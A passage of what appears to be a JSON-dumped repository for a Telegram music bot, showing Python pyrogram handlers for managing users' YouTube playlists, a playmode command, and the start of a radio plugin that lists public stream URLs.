_playlist:\n        get = await message.reply_text(_[\"playlist_2\"])\n    else:\n        return await message.reply_text(_[\"playlist_3\"])\n    msg = _[\"playlist_4\"]\n    count = 0\n    for shikhar in _playlist:\n        _note = await get_playlist(message.from_user.id, shikhar)\n        title = _note[\"title\"]\n        title = title.title()\n        duration = _note[\"duration\"]\n        count += 1\n        msg += f\"\\n\\n{count}- {title[:70]}\\n\"\n        msg += _[\"playlist_5\"].format(duration)\n    link = await HottyBin(msg)\n    lines = msg.count(\"\\n\")\n    if lines >= 17:\n        car = os.linesep.join(msg.split(os.linesep)[:17])\n    else:\n        car = msg\n    carbon = await Carbon.generate(car, randint(100, 10000000000))\n    await get.delete()\n    await message.reply_photo(carbon, caption=_[\"playlist_15\"].format(link))\n\n\nasync def get_keyboard(_, user_id):\n    keyboard = InlineKeyboard(row_width=5)\n    _playlist = await get_playlist_names(user_id)\n    count = len(_playlist)\n    for x in _playlist:\n        _note = await get_playlist(user_id, x)\n        title = _note[\"title\"]\n        title = title.title()\n        keyboard.row(\n            InlineKeyboardButton(\n                text=title,\n                callback_data=f\"del_playlist {x}\",\n            )\n        )\n    keyboard.row(\n        InlineKeyboardButton(\n            text=_[\"PL_B_5\"],\n            callback_data=f\"delete_warning\",\n        ),\n        InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=f\"close\"),\n    )\n    return keyboard, count\n\n\n@app.on_message(filters.command(DELETEPLAYLIST_COMMAND) & ~BANNED_USERS)\n@language\nasync def del_plist_msg(client, message: Message, _):\n    user_id = message.from_user.id\n    current_time = time()\n    # Update the last message timestamp for the user\n    last_message_time = user_last_message_time.get(user_id, 0)\n\n    if current_time - last_message_time < SPAM_WINDOW_SECONDS:\n        # If less than the spam window time has passed since the last message\n        user_last_message_time[user_id] = current_time\n        user_command_count[user_id] = user_command_count.get(user_id, 0) + 1\n        if user_command_count[user_id] > SPAM_THRESHOLD:\n            # Block the user if they exceed the threshold\n            hu = await message.reply_text(\n                f\"**{message.from_user.mention} ᴘʟᴇᴀsᴇ ᴅᴏɴᴛ ᴅᴏ sᴘᴀᴍ, ᴀɴᴅ ᴛʀʏ ᴀɢᴀɪɴ ᴀғᴛᴇʀ 5 sᴇᴄ**\"\n            )\n            await asyncio.sleep(3)\n            await hu.delete()\n            return\n    else:\n        # If more than the spam window time has passed, reset the command count and update the message timestamp\n        user_command_count[user_id] = 1\n        user_last_message_time[user_id] = current_time\n\n    _playlist = await get_playlist_names(message.from_user.id)\n    if _playlist:\n        get = await message.reply_text(_[\"playlist_2\"])\n    else:\n        return await message.reply_text(_[\"playlist_3\"])\n    keyboard, count = await get_keyboard(_, message.from_user.id)\n    await get.edit_text(_[\"playlist_7\"].format(count), reply_markup=keyboard)\n\n\n@app.on_callback_query(filters.regex(\"play_playlist\") & ~BANNED_USERS)\n@languageCB\nasync def play_playlist(client, CallbackQuery, _):\n    callback_data = CallbackQuery.data.strip()\n    mode = callback_data.split(None, 1)[1]\n    user_id = CallbackQuery.from_user.id\n    _playlist = await get_playlist_names(user_id)\n    if not _playlist:\n        try:\n            return await CallbackQuery.answer(\n                _[\"playlist_3\"],\n                show_alert=True,\n            )\n        except:\n            return\n    chat_id = CallbackQuery.message.chat.id\n    user_name = CallbackQuery.from_user.first_name\n    await CallbackQuery.message.delete()\n    result = []\n    try:\n        await CallbackQuery.answer()\n    except:\n        pass\n    video = True if mode == \"v\" else None\n    mystic = await CallbackQuery.message.reply_text(_[\"play_1\"])\n    for vidids in _playlist:\n        result.append(vidids)\n    try:\n        await stream(\n            _,\n            mystic,\n            user_id,\n            result,\n            chat_id,\n            user_name,\n            CallbackQuery.message.chat.id,\n            video,\n            streamtype=\"playlist\",\n        )\n    except Exception as e:\n        ex_type = type(e).__name__\n        err = e if ex_type == \"AssistantErr\" else _[\"general_3\"].format(ex_type)\n        return await mystic.edit_text(err)\n    return await mystic.delete()\n\n\n@app.on_message(\n    filters.command([\"playplaylist\", \"vplayplaylist\"]) & ~BANNED_USERS & filters.group\n)\n@languageCB\nasync def play_playlist_command(client, message, _):\n    mode = message.command[0][0]\n    user_id = message.from_user.id\n    _playlist = await get_playlist_names(user_id)\n    if not _playlist:\n        try:\n            return await message.reply(\n                _[\"playlist_3\"],\n                quote=True,\n            )\n        except:\n            return\n\n    chat_id = message.chat.id\n    user_name = message.from_user.first_name\n\n    try:\n        await message.delete()\n    except:\n        pass\n\n    result = []\n    video = True if mode == \"v\" else None\n    mystic = await message.reply_text(_[\"play_1\"])\n\n    for vidids in _playlist:\n        result.append(vidids)\n\n    try:\n        await stream(\n            _,\n            mystic,\n            user_id,\n            result,\n            chat_id,\n            user_name,\n            message.chat.id,\n            video,\n            streamtype=\"playlist\",\n        )\n    except Exception as e:\n        ex_type = type(e).__name__\n        err = e if ex_type == \"AssistantErr\" else _[\"general_3\"].format(ex_type)\n        return await mystic.edit_text(err)\n\n    return await mystic.delete()\n\n\n# Combined add_playlist function\n@app.on_message(filters.command(ADDPLAYLIST_COMMAND) & ~BANNED_USERS)\n@language\nasync def add_playlist(client, message: Message, _):\n    if len(message.command) < 2:\n        return await message.reply_text(\n            \"**➻ ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴍᴇ ᴀ sᴏɴɢ ɴᴀᴍᴇ ᴏʀ sᴏɴɢ ʟɪɴᴋ ᴏʀ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋ ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ..**\\n\\n**➥ ᴇxᴀᴍᴘʟᴇs:**\\n\\n▷ `/addplaylist Blue Eyes` (ᴘᴜᴛ ᴀ sᴘᴇᴄɪғɪᴄ sᴏɴɢ ɴᴀᴍᴇ)\\n\\n▷ /addplaylist [ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋ] (ᴛᴏ ᴀᴅᴅ ᴀʟʟ sᴏɴɢs ғʀᴏᴍ ᴀ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ɪɴ ʙᴏᴛ ᴘʟᴀʏʟɪsᴛ.)\"\n        )\n\n    query = message.command[1]\n\n    # Check if the provided input is a YouTube playlist link\n    if \"youtube.com/playlist\" in query:\n        adding = await message.reply_text(\n            \"**🎧 ᴀᴅᴅɪɴɢ sᴏɴɢs ɪɴ ᴘʟᴀʏʟɪsᴛ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..**\"\n        )\n        try:\n            from pytube import Playlist, YouTube\n\n            playlist = Playlist(query)\n            video_urls = playlist.video_urls\n\n        except Exception as e:\n            # Handle exception\n            return await message.reply_text(f\"Error: {e}\")\n\n        if not video_urls:\n            return await message.reply_text(\n                \"**➻ ɴᴏ sᴏɴɢs ғᴏᴜɴᴅ ɪɴ ᴛʜᴇ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋs.\\n\\n**➥ ᴛʀʏ ᴏᴛʜᴇʀ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋ**\"\n            )\n\n        user_id = message.from_user.id\n        for video_url in video_urls:\n            video_id = video_url.split(\"v=\")[-1]\n\n            try:\n                yt = YouTube(video_url)\n                title = yt.title\n                duration = yt.length\n            except Exception as e:\n                return await message.reply_text(f\"ᴇʀʀᴏʀ ғᴇᴛᴄʜɪɴɢ ᴠɪᴅᴇᴏ ɪɴғᴏ: {e}\")\n\n            plist = {\n                \"videoid\": video_id,\n                \"title\": title,\n                \"duration\": duration,\n            }\n\n            await save_playlist(user_id, video_id, plist)\n            keyboardes = InlineKeyboardMarkup(\n                [\n                    [\n                        InlineKeyboardButton(\n                            \"๏ ᴡᴀɴᴛ ʀᴇᴍᴏᴠᴇ ᴀɴʏ sᴏɴɢs? ๏\",\n                            callback_data=f\"open_playlist {user_id}\",\n                        )\n                    ]\n                ]\n            )\n        await adding.delete()\n        return await message.reply_text(\n            text=\"**➻ ᴀʟʟ sᴏɴɢs ʜᴀs ʙᴇᴇɴ ᴀᴅᴅᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ ғʀᴏᴍ ʏᴏᴜʀ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ʟɪɴᴋ✅**\\n\\n**➥ ɪғ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ʀᴇᴍᴏᴠᴇ ᴀɴʏ sᴏɴɢ ᴛʜᴇɴ ᴄʟɪᴄᴋ ɢɪᴠᴇɴ ʙᴇʟᴏᴡ ʙᴜᴛᴛᴏɴ.\\n\\n**▷ ᴄʜᴇᴄᴋ ʙʏ » /playlist**\\n\\n▷ **ᴘʟᴀʏ ʙʏ » /play**\",\n            reply_markup=keyboardes,\n        )\n\n    if \"youtube.com/@\" in query:\n        addin = await message.reply_text(\n            \"**🎧 ᴀᴅᴅɪɴɢ sᴏɴɢs ɪɴ ᴘʟᴀʏʟɪsᴛ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..**\"\n        )\n        try:\n            from pytube import YouTube\n\n            channel_username = query\n            videos = YouTube_videos(f\"{query}/videos\")\n            video_urls = [video[\"url\"] for video in videos]\n\n        except Exception as e:\n            # Handle exception\n            return await message.reply_text(f\"Error: {e}\")\n\n        if not video_urls:\n            return await message.reply_text(\n                \"**➻ ɴᴏ sᴏɴɢs ғᴏᴜɴᴅ ɪɴ ᴛʜᴇ YouTube channel.\\n\\n**➥ ᴛʀʏ ᴏᴛʜᴇʀ YouTube channel ʟɪɴᴋ**\"\n            )\n\n        user_id = message.from_user.id\n        for video_url in video_urls:\n            videosid = query.split(\"/\")[-1].split(\"?\")[0]\n\n            try:\n                yt = YouTube(f\"https://youtu.be/{videosid}\")\n                title = yt.title\n                duration = yt.length\n            except Exception as e:\n                return await message.reply_text(f\"ᴇʀʀᴏʀ ғᴇᴛᴄʜɪɴɢ ᴠɪᴅᴇᴏ ɪɴғᴏ: {e}\")\n\n            plist = {\n                \"videoid\": video_id,\n                \"title\": title,\n                \"duration\": duration,\n            }\n\n            await save_playlist(user_id, video_id, plist)\n            keyboardes = InlineKeyboardMarkup(\n                [\n                    [\n                        InlineKeyboardButton(\n                            \"๏ ᴡᴀɴᴛ ʀᴇᴍᴏᴠᴇ ᴀɴʏ sᴏɴɢs? ๏\",\n                            callback_data=f\"open_playlist {user_id}\",\n                        )\n                    ]\n                ]\n            )\n        await addin.delete()\n        return await message.reply_text(\n            text=\"**➻ ᴀʟʟ sᴏɴɢs ʜᴀs ʙᴇᴇɴ ᴀᴅᴅᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ ғʀᴏᴍ ʏᴏᴜʀ ʏᴏᴜᴛᴜʙᴇ channel ʟɪɴᴋ✅**\\n\\n**➥ ɪғ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ʀᴇᴍᴏᴠᴇ ᴀɴʏ sᴏɴɢ ᴛʜᴇɴ ᴄʟɪᴄᴋ ɢɪᴠᴇɴ ʙᴇʟᴏᴡ ʙᴜᴛᴛᴏɴ.\\n\\n**▷ ᴄʜᴇᴄᴋ ʙʏ » /playlist**\\n\\n▷ **ᴘʟᴀʏ ʙʏ » /play**\",\n            reply_markup=keyboardes,\n        )\n\n    # Check if the provided input is a YouTube video link\n    if \"https://youtu.be\" in query:\n        try:\n            add = await message.reply_text(\n                \"**🎧 ᴀᴅᴅɪɴɢ sᴏɴɢs ɪɴ ᴘʟᴀʏʟɪsᴛ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..**\"\n            )\n            from pytube import Playlist, YouTube\n\n            # Extract video ID from the YouTube lin\n            videoid = query.split(\"/\")[-1].split(\"?\")[0]\n            user_id = message.from_user.id\n            thumbnail = f\"https://img.youtube.com/vi/{videoid}/maxresdefault.jpg\"\n            _check = await get_playlist(user_id, videoid)\n            if _check:\n                try:\n                    await add.delete()\n                    return await message.reply_photo(thumbnail, caption=_[\"playlist_8\"])\n                except KeyError:\n                    pass\n\n            _count = await get_playlist_names(user_id)\n            count = len(_count)\n            if count == SERVER_PLAYLIST_LIMIT:\n                try:\n                    return await message.reply_text(\n                        _[\"playlist_9\"].format(SERVER_PLAYLIST_LIMIT)\n                    )\n                except KeyError:\n                    pass\n\n            try:\n                yt = YouTube(f\"https://youtu.be/{videoid}\")\n                title = yt.title\n                duration = yt.length\n                thumbnail = f\"https://img.youtube.com/vi/{videoid}/maxresdefault.jpg\"\n                plist = {\n                    \"videoid\": videoid,\n                    \"title\": title,\n                    \"duration\": duration,\n                }\n                await save_playlist(user_id, videoid, plist)\n\n                # Create inline keyboard with remove button\n                keyboard = InlineKeyboardMarkup(\n                    [\n                        [\n                            InlineKeyboardButton(\n                                \"๏ Remove from Playlist ๏\",\n                                callback_data=f\"remove_playlist {videoid}\",\n                            )\n                        ]\n                    ]\n                )\n                await add.delete()\n                await message.reply_photo(\n                    thumbnail,\n                    caption=\"**➻ ᴀᴅᴅᴇᴅ sᴏɴɢ ɪɴ ʏᴏᴜʀ ʙᴏᴛ ᴘʟᴀʏʟɪsᴛ✅**\\n\\n**➥ ᴄʜᴇᴄᴋ ʙʏ » /playlist**\\n\\n**➥ ᴅᴇʟᴇᴛᴇ ʙʏ » /delplaylist**\\n\\n**➥ ᴀɴᴅ ᴘʟᴀʏ ʙʏ » /play (ɢʀᴏᴜᴘs ᴏɴʟʏ)**\",\n                    reply_markup=keyboard,\n                )\n            except Exception as e:\n                print(f\"Error: {e}\")\n                await message.reply_text(str(e))\n        except Exception as e:\n            return await message.reply_text(str(e))\n    else:\n        from BrandrdXMusic import YouTube\n\n        # Add a specific song by name\n        query = \" \".join(message.command[1:])\n        print(query)\n\n        try:\n            results = YoutubeSearch(query, max_results=1).to_dict()\n            link = f\"https://youtube.com{results[0]['url_suffix']}\"\n            title = results[0][\"title\"][:40]\n            thumbnail = results[0][\"thumbnails\"][0]\n            thumb_name = f\"{title}.jpg\"\n            thumb = requests.get(thumbnail, allow_redirects=True)\n            open(thumb_name, \"wb\").write(thumb.content)\n            duration = results[0][\"duration\"]\n            videoid = results[0][\"id\"]\n            # Add these lines to define views and channel_name\n            views = results[0][\"views\"]\n            channel_name = results[0][\"channel\"]\n\n            user_id = message.from_user.id\n            _check = await get_playlist(user_id, videoid)\n            if _check:\n                try:\n                    return await message.reply_photo(thumbnail, caption=_[\"playlist_8\"])\n                except KeyError:\n                    pass\n\n            _count = await get_playlist_names(user_id)\n            count = len(_count)\n            if count == SERVER_PLAYLIST_LIMIT:\n                try:\n                    return await message.reply_text(\n                        _[\"playlist_9\"].format(SERVER_PLAYLIST_LIMIT)\n                    )\n                except KeyError:\n                    pass\n\n            m = await message.reply(\"**🔄 ᴀᴅᴅɪɴɢ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ... **\")\n            title, duration_min, _, _, _ = await YouTube.details(videoid, True)\n            title = (title[:50]).title()\n            plist = {\n                \"videoid\": videoid,\n                \"title\": title,\n                \"duration\": duration_min,\n            }\n\n            await save_playlist(user_id, videoid, plist)\n\n            # Create inline keyboard with remove button\n            keyboard = InlineKeyboardMarkup(\n                [\n                    [\n                        InlineKeyboardButton(\n                            \"๏ Remove from Playlist ๏\",\n                            callback_data=f\"remove_playlist {videoid}\",\n                        )\n                    ]\n                ]\n            )\n            await m.delete()\n            await message.reply_photo(\n                thumbnail,\n                caption=\"**➻ ᴀᴅᴅᴇᴅ sᴏɴɢ ɪɴ ʏᴏᴜʀ ʙᴏᴛ ᴘʟᴀʏʟɪsᴛ✅**\\n\\n**➥ ᴄʜᴇᴄᴋ ʙʏ » /playlist**\\n\\n**➥ ᴅᴇʟᴇᴛᴇ ʙʏ » /delplaylist**\\n\\n**➥ ᴀɴᴅ ᴘʟᴀʏ ʙʏ » /play (ɢʀᴏᴜᴘs ᴏɴʟʏ)**\",\n                reply_markup=keyboard,\n            )\n\n        except KeyError:\n            return await message.reply_text(\"ɪɴᴠᴀʟɪᴅ ᴅᴀᴛᴀ ғᴏʀᴍᴀᴛ ʀᴇᴄᴇɪᴠᴇᴅ.\")\n        except Exception as e:\n            pass\n\n\n@app.on_callback_query(filters.regex(\"open_playlist\") & ~BANNED_USERS)\n@languageCB\nasync def open_playlist(client, CallbackQuery, _):\n    _playlist = await get_playlist_names(CallbackQuery.from_user.id)\n    if _playlist:\n        get = await CallbackQuery.message.edit_text(_[\"playlist_2\"])\n    else:\n        return await CallbackQuery.message.edit_text(_[\"playlist_3\"])\n    keyboard, count = await get_keyboard(_, CallbackQuery.from_user.id)\n    await get.edit_text(_[\"playlist_7\"].format(count), reply_markup=keyboard)\n\n\n@app.on_callback_query(filters.regex(\"remove_playlist\") & ~BANNED_USERS)\n@languageCB\nasync def del_plist(client, CallbackQuery, _):\n    callback_data = CallbackQuery.data.strip()\n    videoid = callback_data.split(None, 1)[1]\n    user_id = CallbackQuery.from_user.id\n    deleted = await delete_playlist(CallbackQuery.from_user.id, videoid)\n    if deleted:\n        try:\n            await CallbackQuery.answer(_[\"playlist_11\"], show_alert=True)\n        except:\n            pass\n    else:\n        try:\n            return await CallbackQuery.answer(_[\"playlist_12\"], show_alert=True)\n        except:\n            return\n    keyboards = InlineKeyboardMarkup(\n        [\n            [\n                InlineKeyboardButton(\n                    \"๏ ʀᴇᴄᴏᴠᴇʀ ʏᴏᴜʀ sᴏɴɢ ๏\", callback_data=f\"recover_playlist {videoid}\"\n                )\n            ]\n        ]\n    )\n    return await CallbackQuery.edit_message_text(\n        text=\"**➻ ʏᴏᴜʀ sᴏɴɢ ʜᴀs ʙᴇᴇɴ ᴅᴇʟᴇᴛᴇᴅ ғʀᴏᴍ ʏᴏᴜʀ ʙᴏᴛ ᴘʟᴀʏʟɪsᴛ**\\n\\n**➥ ɪғ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ʀᴇᴄᴏᴠᴇʀ ʏᴏᴜʀ sᴏɴɢ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ ᴛʜᴇɴ ᴄʟɪᴄᴋ ɢɪᴠᴇɴ ʙᴇʟᴏᴡ ʙᴜᴛᴛᴏɴ**\",\n        reply_markup=keyboards,\n    )\n\n\n@app.on_callback_query(filters.regex(\"recover_playlist\") & ~BANNED_USERS)\n@languageCB\nasync def add_playlist(client, CallbackQuery, _):\n    from BrandrdXMusic import YouTube\n\n    callback_data = CallbackQuery.data.strip()\n    videoid = callback_data.split(None, 1)[1]\n    user_id = CallbackQuery.from_user.id\n    _check = await get_playlist(user_id, videoid)\n    if _check:\n        try:\n            return await CallbackQuery.answer(_[\"playlist_8\"], show_alert=True)\n        except:\n            return\n    _count = await get_playlist_names(user_id)\n    count = len(_count)\n    if count == SERVER_PLAYLIST_LIMIT:\n        try:\n            return await CallbackQuery.answer(\n                _[\"playlist_9\"].format(SERVER_PLAYLIST_LIMIT),\n                show_alert=True,\n            )\n        except:\n            return\n    (\n        title,\n        duration_min,\n        duration_sec,\n        thumbnail,\n        vidid,\n    ) = await YouTube.details(videoid, True)\n    title = (title[:50]).title()\n    plist = {\n        \"videoid\": vidid,\n        \"title\": title,\n        \"duration\": duration_min,\n    }\n    await save_playlist(user_id, videoid, plist)\n    try:\n        title = (title[:30]).title()\n        keyboardss = InlineKeyboardMarkup(\n            [\n                [\n                    InlineKeyboardButton(\n                        \"๏ ʀᴇᴍᴏᴠᴇ ᴀɢᴀɪɴ ๏\", callback_data=f\"remove_playlist {videoid}\"\n                    )\n                ]\n            ]\n        )\n        return await CallbackQuery.edit_message_text(\n            text=\"**➻ ʀᴇᴄᴏᴠᴇʀᴇᴅ sᴏɴɢ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ**\\n\\n**➥ Cʜᴇᴄᴋ Pʟᴀʏʟɪsᴛ ʙʏ /playlist**\\n\\n**➥ ᴅᴇʟᴇᴛᴇ ᴘʟᴀʏʟɪsᴛ ʙʏ » /delplaylist**\\n\\n**➥ ᴀɴᴅ ᴘʟᴀʏ ᴘʟᴀʏʟɪsᴛ ʙʏ » /play**\",\n            reply_markup=keyboardss,\n        )\n    except:\n        return\n\n\n@app.on_callback_query(filters.regex(\"add_playlist\") & ~BANNED_USERS)\n@languageCB\nasync def add_playlist(client, CallbackQuery, _):\n    await CallbackQuery.answer(\n        \"➻ ᴛᴏ ᴀᴅᴅ ᴀ sᴏɴɢ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ ᴊᴜsᴛ ᴛʏᴘᴇ /addplaylist (Here your song name)\\n\\n➥ ᴇxᴀᴍᴘʟᴇ » /addplaylist Blue Eyes Blue tyes.\",\n        show_alert=True,\n    )\n\n\n@app.on_callback_query(filters.regex(\"branded_playlist\") & ~BANNED_USERS)\n@languageCB\nasync def add_playlists(client, CallbackQuery, _):\n    callback_data = CallbackQuery.data.strip()\n    videoid = callback_data.split(None, 1)[1]\n    user_id = CallbackQuery.from_user.id\n    from BrandrdXMusic import YouTube\n\n    _check = await get_playlist(user_id, videoid)\n    if _check:\n        try:\n            from VIPMUSIC import YouTube\n\n            return await CallbackQuery.answer(_[\"playlist_8\"], show_alert=True)\n        except:\n            return\n    _count = await get_playlist_names(user_id)\n    count = len(_count)\n    if count == SERVER_PLAYLIST_LIMIT:\n        try:\n            return await CallbackQuery.answer(\n                _[\"playlist_9\"].format(SERVER_PLAYLIST_LIMIT),\n                show_alert=True,\n            )\n        except:\n            return\n    (\n        title,\n        duration_min,\n        duration_sec,\n        thumbnail,\n        vidid,\n    ) = await YouTube.details(videoid, True)\n    title = (title[:50]).title()\n    plist = {\n        \"videoid\": vidid,\n        \"title\": title,\n        \"duration\": duration_min,\n    }\n    await save_playlist(user_id, videoid, plist)\n    try:\n        title = (title[:30]).title()\n        return await CallbackQuery.answer(\n            _[\"playlist_10\"].format(title), show_alert=True\n        )\n    except:\n        return\n\n\n# New command\nDELETE_ALL_PLAYLIST_COMMAND = \"delallplaylist\"\n\n\n@app.on_message(filters.command(DELETE_ALL_PLAYLIST_COMMAND) & ~BANNED_USERS)\n@language\nasync def delete_all_playlists(client, message, _):\n    pass\n\n    user_id = message.from_user.id\n    _playlist = await get_playlist_names(user_id)\n    if _playlist:\n        try:\n            upl = warning_markup(_)\n            await message.reply_text(_[\"playlist_14\"], reply_markup=upl)\n        except:\n            pass\n    else:\n        await message.reply_text(_[\"playlist_3\"])\n\n\n@app.on_callback_query(filters.regex(\"del_playlist\") & ~BANNED_USERS)\n@languageCB\nasync def del_plist(client, CallbackQuery, _):\n    pass\n\n    callback_data = CallbackQuery.data.strip()\n    videoid = callback_data.split(None, 1)[1]\n    user_id = CallbackQuery.from_user.id\n    deleted = await delete_playlist(CallbackQuery.from_user.id, videoid)\n    if deleted:\n        try:\n            await CallbackQuery.answer(_[\"playlist_11\"], show_alert=True)\n        except:\n            pass\n    else:\n        try:\n            return await CallbackQuery.answer(_[\"playlist_12\"], show_alert=True)\n        except:\n            return\n    keyboard, count = await get_keyboard(_, user_id)\n    return await CallbackQuery.edit_message_reply_markup(reply_markup=keyboard)\n\n\n@app.on_callback_query(filters.regex(\"delete_whole_playlist\") & ~BANNED_USERS)\n@languageCB\nasync def del_whole_playlist(client, CallbackQuery, _):\n    pass\n\n    _playlist = await get_playlist_names(CallbackQuery.from_user.id)\n    for x in _playlist:\n        await CallbackQuery.answer(\n            \"➻ ᴏᴋ sɪʀ ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ.\\n\\n➥ ᴅᴇʟᴇᴛɪɴɢ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ...\", show_alert=True\n        )\n        await delete_playlist(CallbackQuery.from_user.id, x)\n    return await CallbackQuery.edit_message_text(_[\"playlist_13\"])\n\n\n@app.on_callback_query(filters.regex(\"get_playlist_playmode\") & ~BANNED_USERS)\n@languageCB\nasync def get_playlist_playmode_(client, CallbackQuery, _):\n    try:\n        await CallbackQuery.answer()\n    except:\n        pass\n    buttons = get_playlist_markup(_)\n    return await CallbackQuery.edit_message_reply_markup(\n        reply_markup=InlineKeyboardMarkup(buttons)\n    )\n\n\n@app.on_callback_query(filters.regex(\"delete_warning\") & ~BANNED_USERS)\n@languageCB\nasync def delete_warning_message(client, CallbackQuery, _):\n    pass\n\n    try:\n        await CallbackQuery.answer()\n    except:\n        pass\n    upl = warning_markup(_)\n    return await CallbackQuery.edit_message_text(_[\"playlist_14\"], reply_markup=upl)\n\n\n@app.on_callback_query(filters.regex(\"home_play\") & ~BANNED_USERS)\n@languageCB\nasync def home_play_(client, CallbackQuery, _):\n    pass\n\n    try:\n        await CallbackQuery.answer()\n    except:\n        pass\n    buttons = botplaylist_markup(_)\n    return await CallbackQuery.edit_message_reply_markup(\n        reply_markup=InlineKeyboardMarkup(buttons)\n    )\n\n\n@app.on_callback_query(filters.regex(\"del_back_playlist\") & ~BANNED_USERS)\n@languageCB\nasync def del_back_playlist(client, CallbackQuery, _):\n    pass\n\n    user_id = CallbackQuery.from_user.id\n    _playlist = await get_playlist_names(user_id)\n    if _playlist:\n        try:\n            await CallbackQuery.answer(_[\"playlist_2\"], show_alert=True)\n        except:\n            pass\n    else:\n        try:\n            return await CallbackQuery.answer(_[\"playlist_3\"], show_alert=True)\n        except:\n            return\n    keyboard, count = await get_keyboard(_, user_id)\n    return await CallbackQuery.edit_message_text(\n        _[\"playlist_7\"].format(count), reply_markup=keyboard\n    )\n"
  },
  {
    "path": "BrandrdXMusic/plugins/play/playmode.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import InlineKeyboardMarkup, Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.database import get_playmode, get_playtype, is_nonadmin_chat\nfrom BrandrdXMusic.utils.decorators import language\nfrom BrandrdXMusic.utils.inline.settings import playmode_users_markup\nfrom config import BANNED_USERS\n\n\n@app.on_message(filters.command([\"playmode\", \"mode\"]) & filters.group & ~BANNED_USERS)\n@language\nasync def playmode_(client, message: Message, _):\n    playmode = await get_playmode(message.chat.id)\n    if playmode == \"Direct\":\n        Direct = True\n    else:\n        Direct = None\n    is_non_admin = await is_nonadmin_chat(message.chat.id)\n    if not is_non_admin:\n        Group = True\n    else:\n        Group = None\n    playty = await get_playtype(message.chat.id)\n    if playty == \"Everyone\":\n        Playtype = None\n    else:\n        Playtype = True\n    buttons = playmode_users_markup(_, Direct, Group, Playtype)\n    response = await message.reply_text(\n        _[\"play_22\"].format(message.chat.title),\n        reply_markup=InlineKeyboardMarkup(buttons),\n    )\n"
  },
  {
    "path": "BrandrdXMusic/plugins/play/radio.py",
    "content": "import logging\n\nfrom pyrogram import filters\nfrom pyrogram.enums import ChatMemberStatus\nfrom pyrogram.errors import (\n    ChatAdminRequired,\n    InviteRequestSent,\n    UserAlreadyParticipant,\n    UserNotParticipant,\n)\nfrom pyrogram.types import Message\n\nfrom config import BANNED_USERS, adminlist\nfrom strings import get_string\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc import SUDOERS\nfrom BrandrdXMusic.utils.database import (\n    get_assistant,\n    get_cmode,\n    get_lang,\n    get_playmode,\n    get_playtype,\n)\nfrom BrandrdXMusic.utils.logger import play_logs\nfrom BrandrdXMusic.utils.stream.stream import stream\n\nRADIO_STATION = {\n    \"Air Bilaspur\": \"http://air.pc.cdn.bitgravity.com/air/live/pbaudio110/playlist.m3u8\",\n    \"Air Raipur\": \"http://air.pc.cdn.bitgravity.com/air/live/pbaudio118/playlist.m3u8\",\n    \"Capital FM\": \"http://media-ice.musicradio.com/CapitalMP3?.mp3&listening-from-radio-garden=1616312105154\",\n    \"English\": \"https://hls-01-regions.emgsound.ru/11_msk/playlist.m3u8\",\n    \"Mirchi\": \"http://peridot.streamguys.com:7150/Mirchi\",\n    \"Radio Today\": \"http://stream.zenolive.com/8wv4d8g4344tv\",\n    \"YouTube\": \"https://www.youtube.com/live/eu191hR_LEc?si=T-9QYD548jd0Mogp\",\n    \"Zee News\": \"https://www.youtube.com/live/TPcmrPrygDc?si=hiHBkIidgurQAd1P\",\n    \"Aaj Tak\": \"https://www.youtube.com/live/Nq2wYlWFucg?si=usY4UYiSBInKA0S1\",\n}\n\nvalid_stations = \"\\n\".join([f\"`{name}`\" for name in sorted(RADIO_STATION.keys())])\n\n\n@app.on_message(\n    filters.command([\"radioplayforce\", \"radio\", \"cradio\"])\n    & filters.group\n    & ~BANNED_USERS\n)\nasync def radio(client, message: Message):\n    msg = await message.reply_text(\"ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ ᴀ ᴍᴏᴍᴇɴᴛ....\")\n    try:\n        try:\n            userbot = await get_assistant(message.chat.id)\n            get = await app.get_chat_member(message.chat.id, userbot.id)\n        except ChatAdminRequired:\n            return await msg.edit_text(\n                f\"» ɪ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ғᴏʀ ɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\"\n            )\n        if get.status == ChatMemberStatus.BANNED:\n            return await msg.edit_text(\n                text=f\"» {userbot.mention} ᴀssɪsᴛᴀɴᴛ ɪs ʙᴀɴɴᴇᴅ ɪɴ {message.chat.title}\\n\\n𖢵 ɪᴅ : `{userbot.id}`\\n𖢵 ɴᴀᴍᴇ : {userbot.mention}\\n𖢵 ᴜsᴇʀɴᴀᴍᴇ : @{userbot.username}\\n\\nᴘʟᴇᴀsᴇ ᴜɴʙᴀɴ ᴛʜᴇ ᴀssɪsᴛᴀɴᴛ ᴀɴᴅ ᴘʟᴀʏ ᴀɢᴀɪɴ...\",\n            